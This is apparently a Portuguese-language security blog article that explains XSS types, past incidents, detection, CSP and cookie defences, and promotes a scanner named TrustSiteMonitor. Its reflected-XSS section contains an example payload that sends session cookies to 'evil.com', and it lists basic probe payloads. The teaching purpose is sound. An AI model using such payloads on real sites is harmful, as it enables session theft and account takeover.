O que é XSS?

Cross-Site Scripting, conhecido pela sigla XSS, e uma das vulnerabilidades mais antigas e mais exploradas da web. Apesar de ser amplamente documentada e de existirem dezenas de ferramentas para preveni-la, o XSS continua aparecendo no OWASP Top 10 ha mais de quinze anos consecutivos. Em 2026, estudos de empresas como Veracode e Snyk apontam que cerca de 65% dos sites com formularios possuem alguma variante de XSS exploravel.

O principio e simples: quando uma aplicação web reflete ou armazena entrada do usuário sem sanitização adequada, um atacante pode injetar código JavaScript malicioso que será executado no navegador de outras pessoas. A vitima não precisa fazer nada além de visitar uma página ou clicar em um link.

Como funciona o ataque

Existem tres tipos principais de XSS, cada um com mecanismos e impactos distintos.

XSS Refletido e o mais comum para ataques direcionados. O payload malicioso e inserido em um parâmetro de URL ou formulario e imediatamente refletido na resposta HTTP sem armazenamento. Um exemplo clássico: uma página de busca que exibe o termo pesquisado diretamente no HTML. Se o servidor retorna <p>Você pesquisou: ENTRADA_DO_USUARIO</p> sem escapar a entrada, um link como https://site.com/busca?q=<script>document.location='https://evil.com?c='+document.cookie</script> redireciona os cookies de sessao da vitima para o servidor do atacante no momento em que ela clica no link.

XSS Armazenado (ou Persistente) e mais grave: o payload e salvo no banco de dados e exibido para todos os usuários que acessam aquela página. Comentarios de blog, campos de perfil, titulos de tarefas em sistemas de gestão e nomes de produtos em e-commerces são vetores clássicos. Um atacante que consegue armazenar um script malicioso em um campo de comentario afeta todos os visitantes daquele post automaticamente, sem necessidade de enviar links.

XSS DOM-based ocorre inteiramente no lado do cliente. O JavaScript da própria página le dados de fontes não confiáveis como location.hash, document.referrer ou window.name e os insere no DOM sem sanitização. Ferramentas de análise de servidor não detectam esse tipo porque a vulnerabilidade nunca passa pelo backend.

Quem foi afetado

O histórico de incidentes causados por XSS e extenso. Em 2014, o Yahoo sofreu uma brecha de XSS armazenado que permitia a atacantes ler e-mails de qualquer usuário que abrisse um e-mail malicioso. Em 2018, o British Airways teve dados de pagamento de 500 mil clientes roubados via XSS combinado com Magecart (skimming de cartao). O Twitter já foi afetado multiplas vezes, incluindo o famoso worm StalkDaily de 2009 que se autopropagava via XSS armazenado nos perfis.

Mais recentemente, em 2024, pesquisadores descobriram XSS em plugins populares do WordPress afetando mais de dois milhoes de instalações ativas. Em plataformas de e-commerce baseadas em Shopify e WooCommerce, XSS em campos de checkout já resultou em roubo massivo de dados de cartao de credito.

Como identificar o XSS

A detecção de XSS pode ser feita em multiplos níveis. No código-fonte, procure por renderização de variaveis sem escapamento: em PHP, echo $_GET['q'] sem htmlspecialchars(); em JavaScript, document.innerHTML = variavel ou document.write(variavel); em templates como React, uso de dangerouslySetInnerHTML.

Para testes manuais, insira payloads básicos como <script>alert(1)</script>, <img src=x onerror=alert(1)> ou <svg onload=alert(1)> em todos os campos de entrada. Se o alerta aparecer, a vulnerabilidade existe.

Para testes automatizados, ferramentas como OWASP ZAP, Burp Suite Professional, Nikto e o próprio scanner do TrustSiteMonitor identificam XSS refletido e alguns casos de XSS armazenado. Para XSS DOM-based, o Semgrep com regras customizadas e o DOMinator Pro são referências.

Indicadores de comprometimento (IoC) em produção incluem: scripts externos desconhecidos carregando via <script src>, requisições para domínios suspeitos nos logs do servidor ou CSP reports chegando com violações em campos que não deveriam ter scripts, e reclamações de usuários sobre redirecionamentos inesperados.

Como se proteger

A mitigação de XSS exige multiplas camadas. A primeira e mais fundamental e a sanitização e escape de saida: toda saida de dados para o HTML deve ser escapada de acordo com o contexto. Em HTML, use htmlspecialchars() no PHP ou equivalentes. Em JavaScript, nunca use innerHTML para dados do usuário; prefira textContent. Em URLs, aplique encodeURIComponent().

A segunda camada e o Content Security Policy (CSP). Um cabeçalho CSP bem configurado instrui o navegador a recusar a execução de scripts inline e de fontes não autorizadas, mesmo que o XSS tenha sido injetado. Um exemplo de CSP restritivo: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM_NONCE'; object-src 'none';. O uso de nonces garante que apenas scripts gerados pelo servidor executem, bloqueando injeções.

Terceira camada: cookies com flags HttpOnly e Secure. HttpOnly impede que JavaScript acesse o cookie de sessao, tornando o roubo de sessao via XSS impossível mesmo que o payload seja executado. Secure garante que o cookie só trafegue via HTTPS.

Quarta camada: uso de frameworks modernos que escapam por padrão. React, Angular e Vue escapam automaticamente os dados renderizados nos templates, desde que você não desabilite essa proteção explicitamente.

Comparação com casos anteriores

O XSS evoluiu significativamente desde os primeiros exploits documentados nos anos 2000. Nos primordios, a maioria dos ataques era oportunista e visível: defacements, alerts e redirecionamentos obvios. Em 2026, os ataques mais sofisticados combinam XSS com outras técnicas:

O XSS + CSRF combinado usa o script injetado para realizar requisições autenticadas em nome da vitima, bypassando proteções de CSRF que dependem de token no formulario mas não verificam origem do JavaScript. O XSS + Polyglot usa payloads que funcionam em multiplos contextos (HTML, JavaScript, URL) simultaneamente, evadindo filtros simples baseados em blacklist. O Blind XSS insere payloads em campos que serão renderizados em paineis administrativos ou ferramentas internas, executando o script apenas quando um administrador abre o painel.

Análise técnica

Do ponto de vista do CVSS, um XSS armazenado tipicamente recebe score de 6.1 (Medium) a 8.8 (High), dependendo do contexto. Se o XSS afeta um painel administrativo ou permite execução de ações privilegiadas, o score pode chegar a 9.0 (Critical). O CVSS v3.1 considera: vetor de ataque (Network), complexidade baixa, privilegios baixos ou nenhum, interação do usuário necessária, escopo alterado (Scope Changed, pois afeta outros usuários), impacto de confidencialidade e integridade altos.

A exploração tipica segue este fluxo técnico: identificação do ponto de injeção (campo de busca, comentario, URL parameter), construção do payload adaptado ao contexto (atributo HTML, JavaScript string, URL), codificação para bypass de filtros simples (HTML entities, Unicode escapes, encoding duplo), e entrega via phishing (XSS refletido) ou comprometimento do banco (armazenado).

Impacto e consequencias

As consequencias de um XSS bem explorado vao muito além do clássico alert(1) dos CTFs. No nível básico, o atacante pode roubar cookies de sessao e assumir contas sem precisar da senha. No nível intermediario, pode capturar keystrokes (logar tudo que o usuário digita, incluindo senhas), capturar o conteúdo completo da página, fazer requisições autenticadas em nome da vitima e redirecionar para páginas de phishing identicas ao site original.

No nível avancado, XSS pode ser usado como vetor para ataques a infraestrutura interna via SSRF combinado, para propagar worms dentro da plataforma (o worm StalkDaily do Twitter infectou 100 mil contas em horas), ou como ponto de entrada para ataques mais profundos em SPAs (Single Page Applications) que tem acesso a APIs internas.

O impacto financeiro direto pode ser massivo: o caso British Airways resultou em multa de 20 milhoes de libras pela ICO do Reino Unido sob o GDPR, além de processos civis de clientes afetados.

Dicas práticas e boas práticas

Um checklist prático para eliminação de XSS no seu projeto:

1. Audite todos os pontos onde dados do usuário são renderizados: busca, comentarios, perfis, titulos, notificações, logs, e-mails HTML gerados pela aplicação.

2. Implemente CSP com report-uri para receber notificações de violações em produção mesmo antes de ser explorado.

3. Use uma biblioteca de sanitização validada: DOMPurify para JavaScript no cliente, OWASP HTML Sanitizer para Java, Bleach para Python, HtmlSanitizer para .NET.

4. Configure cookies de sessao com HttpOnly; Secure; SameSite=Strict.

5. Implemente Content-Type correto em todas as respostas: Content-Type: text/html; charset=UTF-8 evita ataques de charset sniffing combinados com XSS.

6. Adicione o header X-Content-Type-Options: nosniff para impedir que o browser interprete arquivos de outros tipos como HTML.

7. Faca varreduras regulares com OWASP ZAP ou ferramentas similares como parte do seu pipeline de CI/CD.

8. Para SPAs: revise o uso de dangerouslySetInnerHTML (React), [innerHTML] (Angular) e v-html (Vue). Cada uso deve ser justificado e o dado sanitizado com DOMPurify.

Conclusao: o que fazer agora

Se você tem um site em produção, a primeira ação e verificar se ha XSS refletido nos parâmetros de URL mais usados. Cole ?q=<script>alert(1)</script> na busca do seu site e veja o que acontece. Se o script executar, você tem um problema urgente.

A segunda ação e configurar um CSP, mesmo que restrictivo. Até um CSP básico com script-src 'self' já elimina a maioria dos ataques de XSS refletido que buscam carregar scripts externos.

A terceira ação e rodar uma análise completa. O TrustSiteMonitor inclui verificação de XSS refletido como uma das 26 fases de análise automatizada, identificando os pontos mais críticos e fornecendo evidências concretas para a equipe de desenvolvimento corrigir.

XSS não e um problema do passado. E uma realidade presente em milhoes de sites hoje. A diferença entre ser afetado e estar protegido está em tomar essas ações antes que um atacante o faca por você.